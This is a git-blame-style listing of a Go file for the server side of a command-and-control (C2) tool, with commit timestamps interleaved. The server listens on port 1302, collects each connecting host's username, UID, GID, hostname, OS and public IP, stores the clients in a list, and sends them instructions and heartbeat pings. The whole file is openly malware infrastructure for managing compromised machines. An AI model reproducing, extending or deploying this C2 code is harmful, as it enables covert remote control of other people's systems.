2024-06-03 09:24:18 +02:00
|
|
|
package cmd
|
|
|
|
|
|
|
|
import (
|
2024-06-03 10:16:35 +02:00
|
|
|
"encoding/gob"
|
|
|
|
"fmt"
|
2024-06-03 09:24:18 +02:00
|
|
|
"log"
|
|
|
|
"net"
|
2024-06-04 09:37:38 +02:00
|
|
|
//"reflect"
|
2024-06-03 15:05:43 +02:00
|
|
|
"time"
|
2024-06-03 09:24:18 +02:00
|
|
|
|
|
|
|
"github.com/spf13/viper"
|
|
|
|
)
|
|
|
|
|
2024-06-03 10:16:35 +02:00
|
|
|
type Client struct {
|
2024-06-04 09:37:38 +02:00
|
|
|
ClientBasicInfo
|
|
|
|
Conn net.Conn
|
|
|
|
IsOnline bool
|
|
|
|
}
|
|
|
|
|
|
|
|
type ClientBasicInfo struct {
|
2024-06-03 15:05:43 +02:00
|
|
|
Username string
|
|
|
|
UID string
|
|
|
|
GID string
|
2024-06-03 10:16:35 +02:00
|
|
|
OperatingSystem string
|
2024-06-03 15:05:43 +02:00
|
|
|
Hostname string
|
2024-06-04 09:37:38 +02:00
|
|
|
PublicIP string
|
2024-06-03 10:16:35 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
type Instructions struct {
|
2024-06-04 09:37:38 +02:00
|
|
|
IsHeartbeat bool
|
|
|
|
Message string
|
|
|
|
}
|
|
|
|
|
|
|
|
type Response struct {
|
2024-06-03 10:16:35 +02:00
|
|
|
Message string
|
|
|
|
}
|
|
|
|
|
2024-06-03 09:24:18 +02:00
|
|
|
var (
|
2024-06-03 10:16:35 +02:00
|
|
|
C2Port string = "1302"
|
|
|
|
clientList []*Client
|
2024-06-03 09:24:18 +02:00
|
|
|
)
|
|
|
|
|
2024-06-03 15:05:43 +02:00
|
|
|
func (c Client) Instruct(i Instructions) error {
|
|
|
|
enc := gob.NewEncoder(c.Conn)
|
|
|
|
err := enc.Encode(i)
|
|
|
|
if err != nil {
|
|
|
|
return err
|
|
|
|
}
|
|
|
|
return nil
|
|
|
|
}
|
|
|
|
|
2024-06-03 09:24:18 +02:00
|
|
|
func Server() {
|
|
|
|
p := viper.GetString("Server.Port")
|
|
|
|
if p != "" {
|
|
|
|
C2Port = p
|
|
|
|
}
|
|
|
|
go WebServer()
|
|
|
|
|
|
|
|
ln, err := net.Listen("tcp", ":"+C2Port)
|
|
|
|
if err != nil {
|
|
|
|
log.Fatalf("Error happened listening on C2 port: %v\n", err)
|
|
|
|
}
|
|
|
|
log.Printf("Listening on port %v...", C2Port)
|
|
|
|
defer ln.Close()
|
|
|
|
|
|
|
|
for {
|
|
|
|
conn, err := ln.Accept()
|
|
|
|
if err != nil {
|
|
|
|
log.Printf("Error happened accepting connection: %v\n", err)
|
|
|
|
}
|
|
|
|
handleConn(conn)
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
func handleConn(conn net.Conn) {
|
2024-06-04 09:37:38 +02:00
|
|
|
client, err := getClient(conn)
|
2024-06-03 10:16:35 +02:00
|
|
|
if err != nil {
|
|
|
|
log.Printf("Error happened receiving OS information: %v\n", err)
|
|
|
|
}
|
2024-06-04 09:37:38 +02:00
|
|
|
fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", client.ClientBasicInfo.Username,
|
|
|
|
client.ClientBasicInfo.UID, client.ClientBasicInfo.GID, client.ClientBasicInfo.Hostname, client.ClientBasicInfo.OperatingSystem)
|
|
|
|
|
|
|
|
go Heartbeat(*client, conn)
|
|
|
|
}
|
|
|
|
|
|
|
|
func Heartbeat(client Client, conn net.Conn) {
|
2024-06-03 15:05:43 +02:00
|
|
|
for {
|
2024-06-04 09:37:38 +02:00
|
|
|
inst := Instructions{
|
|
|
|
IsHeartbeat: true,
|
|
|
|
Message: "PING",
|
|
|
|
}
|
|
|
|
client.Instruct(inst)
|
|
|
|
log.Printf("Pinging %v...\n", client.ClientBasicInfo.PublicIP)
|
|
|
|
|
|
|
|
resp, err := ServerMessageReceiver(conn)
|
|
|
|
if err == nil && resp.Message == "PONG" {
|
|
|
|
fmt.Printf("Client %v is online!\n", client.ClientBasicInfo.PublicIP)
|
|
|
|
client.IsOnline = true
|
|
|
|
} else {
|
|
|
|
fmt.Printf("Client %v is offline :(\n", client.ClientBasicInfo.PublicIP)
|
|
|
|
client.IsOnline = false
|
|
|
|
return
|
|
|
|
}
|
|
|
|
|
|
|
|
time.Sleep(time.Second * 10)
|
2024-06-03 15:05:43 +02:00
|
|
|
}
|
2024-06-04 09:37:38 +02:00
|
|
|
}
|
2024-06-03 15:05:43 +02:00
|
|
|
|
2024-06-04 09:37:38 +02:00
|
|
|
func ServerMessageReceiver(conn net.Conn) (Response, error) {
|
|
|
|
dec := gob.NewDecoder(conn)
|
|
|
|
c := new(Response)
|
|
|
|
err := dec.Decode(c)
|
|
|
|
if err != nil {
|
|
|
|
return Response{}, err
|
|
|
|
}
|
|
|
|
return *c, nil
|
2024-06-03 10:16:35 +02:00
|
|
|
}
|
2024-06-03 09:24:18 +02:00
|
|
|
|
2024-06-04 09:37:38 +02:00
|
|
|
func getClient(conn net.Conn) (*Client, error) {
|
2024-06-03 10:16:35 +02:00
|
|
|
dec := gob.NewDecoder(conn)
|
2024-06-04 09:37:38 +02:00
|
|
|
basicC := new(ClientBasicInfo)
|
|
|
|
err := dec.Decode(&basicC)
|
2024-06-03 10:16:35 +02:00
|
|
|
if err != nil {
|
|
|
|
bad := Client{}
|
|
|
|
return &bad, err
|
|
|
|
}
|
2024-06-04 09:37:38 +02:00
|
|
|
newC := new(Client)
|
|
|
|
newC.ClientBasicInfo = *basicC
|
|
|
|
newC.Conn = conn
|
|
|
|
newC.IsOnline = true
|
|
|
|
|
|
|
|
// for _, v := range clientList {
|
|
|
|
// sameClient := reflect.DeepEqual(c, v.ClientInfo)
|
|
|
|
// if sameClient == true {
|
|
|
|
// fmt.Println("CLIENT ALREADY PRESENT, SETTING TO ONLINE")
|
|
|
|
// c.IsOnline = true
|
|
|
|
// return c, nil
|
|
|
|
// }
|
|
|
|
// }
|
|
|
|
//fmt.Println("CLIENT NOT PRESENT, ADDING TO LIST")
|
|
|
|
clientList = append(clientList, newC)
|
|
|
|
return newC, nil
|
2024-06-03 09:24:18 +02:00
|
|
|
}
|